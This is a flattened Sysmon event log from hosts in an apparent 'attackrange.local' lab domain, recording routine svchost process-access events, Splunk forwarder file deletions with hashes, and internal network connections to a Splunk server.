14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9606-00000000F001}3808C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9606-00000000F001}3808C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:10.857{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B1953C3FF2F85D47CC3260811FC5957,SHA256=C9FC55B5EB71D33603A3393DA62182D1C2D704CD1DAE5D4266B3738A05107270,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:10.051{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0710C39AC75FEF28CF6BE525D78B542,SHA256=7498208AB5BC877D2C04D888CA93466AB7C2BAB16E2744FBD26F99416D43D60E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:07.521{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59416-false10.0.1.12-8000- 354300x800000000000000015426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:10.406{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50224-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:11.061{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=990FE4BB652F0B73A10B16A473E2965C,SHA256=3920B9E32E5DEA0A95C6CF2256AEFC8C81701F14E206766467108E1F73C0CE05,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:12.061{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EA4DFB2EECF6C5CF133A2618DD27164,SHA256=3F1B2E59C51AEE76FE7431927B3A2FACD64FFD12264AD74A22F1E996C4F8D3B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:12.091{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB9CB8CD7DB9C015C8D789EA751D85D1,SHA256=89CD9BA4FE7B9892D88175D3643C076915CA11DBA214A301E92365577CF2DEBB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:13.107{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2057722250BA4AD7DAA6461FF0F88B4,SHA256=7DB67588E87F06661BF34FE2A511FCF2A8D9FE2B7349B91F65E26F1188464E8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:13.077{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BADC9A2B0C2EDA61E978D537276F70D1,SHA256=58F7C0FE6D54A94E0BA87E7248F01155DC3968A371855584C6C32659EABF4F1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:14.138{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=59AEBEC2F9A1F6414012E5B258F54668,SHA256=ED2C5E4C2E64BF6D749D001AC8D3F04185A20740A0D7588EE481202015D19FB2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:13.234{625C326B-67EA-613B-0100-00000000F101}4SystemNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.255ip-10-0-1-255.eu-central-1.compute.internal138netbios-dgmfalse10.0.1.15win-host-166.attackrange.local138netbios-dgm 354300x800000000000000015430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:13.234{625C326B-67EA-613B-0100-00000000F101}4SystemNT AUTHORITY\SYSTEMudptruefalse10.0.1.15win-host-166.attackrange.local138netbios-dgmfalse10.0.1.255ip-10-0-1-255.eu-central-1.compute.internal138netbios-dgm 23542300x800000000000000015429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:14.092{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7218E07E9C04295BAD9BD0DB5B7D356E,SHA256=8298AB4D0202EC35D62C0D1CECE825EDC6AA2087516288A6FE45821E29A2AE35,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:13.448{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59417-false10.0.1.12-8000- 23542300x800000000000000047753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:15.201{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=481062A2D9A03154C0B5E3A7A6217A3B,SHA256=7A2EE40D73936E452E1C0779272083BF3563ACB22680F9C41524F7261BD1CA19,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:15.108{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 